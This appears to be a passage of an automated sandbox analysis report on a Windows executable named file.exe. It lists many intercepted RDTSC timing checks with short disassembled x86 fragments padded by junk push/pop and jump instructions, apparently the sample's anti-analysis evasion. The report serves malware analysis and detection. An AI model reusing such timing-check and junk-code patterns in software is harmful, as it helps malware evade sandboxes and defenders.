Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16747 second address: A1675C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1A796B9BE6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F1A796B9BF9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1675C second address: A1677D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F354Dh 0x00000009 jmp 00007F1A796F3550h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16A2C second address: A16A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BEEh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F1A796B9BEFh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993F4C second address: 993F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993F52 second address: 993F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F1A796B9BE6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 993F78 second address: 993F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2117B second address: A21197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F1A796B9BF2h 0x0000000b jmp 00007F1A796B9BEAh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21197 second address: A211AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F1A796F3546h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20C9E second address: A20CD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1A796B9BF4h 0x00000008 jmp 00007F1A796B9BF2h 0x0000000d jl 00007F1A796B9BE6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 je 00007F1A796B9BEEh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20CD9 second address: A20D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1A796F3550h 0x00000010 jmp 00007F1A796F3556h 0x00000015 popad 0x00000016 jc 00007F1A796F3552h 0x0000001c jne 00007F1A796F3546h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20E76 second address: A20E7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EF95 second address: 98EF9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24698 second address: A246C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1A796B9BF7h 0x0000000a popad 0x0000000b pushad 0x0000000c jne 00007F1A796B9BEEh 0x00000012 pushad 0x00000013 popad 0x00000014 jng 00007F1A796B9BE6h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A8AC second address: A2A8C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3555h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A8C9 second address: A2A8E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BEFh 0x00000009 jng 00007F1A796B9BE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2A8E2 second address: A2A8E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28F8D second address: A28F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28F91 second address: A28F95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28F95 second address: A28FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F1A796B9BEAh 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jnc 00007F1A796B9BE6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FB5 second address: A28FC8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007F1A796F3546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FC8 second address: A28FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F1A796B9BF9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28FEB second address: A28FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jne 00007F1A796F3546h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A291A3 second address: A291A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A291A7 second address: A291CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1A796F3546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1A796F3556h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2933E second address: A29390 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F1A796B9BE6h 0x00000009 jmp 00007F1A796B9BF3h 0x0000000e jng 00007F1A796B9BE6h 0x00000014 jp 00007F1A796B9BE6h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F1A796B9BF5h 0x00000023 jmp 00007F1A796B9BEFh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A294CD second address: A294D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29639 second address: A29658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1A796B9BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1A796B9BF0h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29658 second address: A2965C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29920 second address: A29924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29ABC second address: A29AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29AC0 second address: A29AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1A796B9BF7h 0x0000000c jmp 00007F1A796B9BF1h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1A796B9BF5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29AF5 second address: A29B18 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1A796F3555h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1A796F3546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E69C second address: A2E6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E6A6 second address: A2E6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F3558h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1A796F354Ah 0x00000011 jc 00007F1A796F3546h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DBB1 second address: A2DBC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jbe 00007F1A796B9BE6h 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DD3F second address: A2DD5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DEB6 second address: A2DEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DEBA second address: A2DEC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DEC5 second address: A2DECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DECD second address: A2DED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DED5 second address: A2DEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2DEDB second address: A2DEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1A796F3546h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3469D second address: A346B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A346B8 second address: A346BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A346BD second address: A346C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A346C6 second address: A346CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34966 second address: A3497E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007F1A796B9BF3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34C43 second address: A34C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34C47 second address: A34C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34C4B second address: A34C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34C55 second address: A34C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34C5B second address: A34C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3557D second address: A35594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35594 second address: A35598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35598 second address: A355C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F1A796B9BECh 0x0000000c jg 00007F1A796B9BE6h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1A796B9BF7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A355C4 second address: A355C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A355C9 second address: A355E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BF5h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35F18 second address: A35F36 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1A796F3546h 0x00000008 jnp 00007F1A796F3546h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F1A796F3546h 0x00000018 jnp 00007F1A796F3546h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36210 second address: A36232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BEAh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1A796B9BEEh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A526 second address: A3A542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1A796F354Bh 0x0000000b popad 0x0000000c jnc 00007F1A796F3566h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A542 second address: A3A546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A7FA second address: A3A819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F1A796F3555h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A819 second address: A3A821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A821 second address: A3A850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1A796F3546h 0x0000000a jc 00007F1A796F3546h 0x00000010 jmp 00007F1A796F3558h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A9D7 second address: A3A9DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AE26 second address: A3AE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796F3559h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFBB second address: A3AFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFBF second address: A3AFC9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1A796F3546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AFC9 second address: A3AFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A460ED second address: A460F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A460F1 second address: A46102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1A796B9BEBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46102 second address: A46107 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46987 second address: A46992 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46992 second address: A469B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F1A796F3559h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C1C second address: A46C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C2A second address: A46C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46EC2 second address: A46EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47595 second address: A47599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47599 second address: A475AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 jbe 00007F1A796B9BE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A475AA second address: A475B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45C77 second address: A45C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45C7D second address: A45CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F1A796F3546h 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F1A796F3546h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 jnl 00007F1A796F3552h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45CAA second address: A45CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E648 second address: A4E65C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1A796F3546h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F1A796F3552h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6032C second address: A60345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1A796B9BEDh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6278E second address: A627A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F3550h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A674A2 second address: A674A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A705FB second address: A7062D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F1A796F354Ah 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F1A796F3558h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7062D second address: A70647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BEDh 0x00000009 popad 0x0000000a jbe 00007F1A796B9BECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70647 second address: A7064B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7064B second address: A70657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1A796B9BE6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70657 second address: A7065D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7507C second address: A75097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F1A796B9BEEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A75097 second address: A7509B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AFC5 second address: A7AFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AFCB second address: A7AFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AFCF second address: A7AFD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
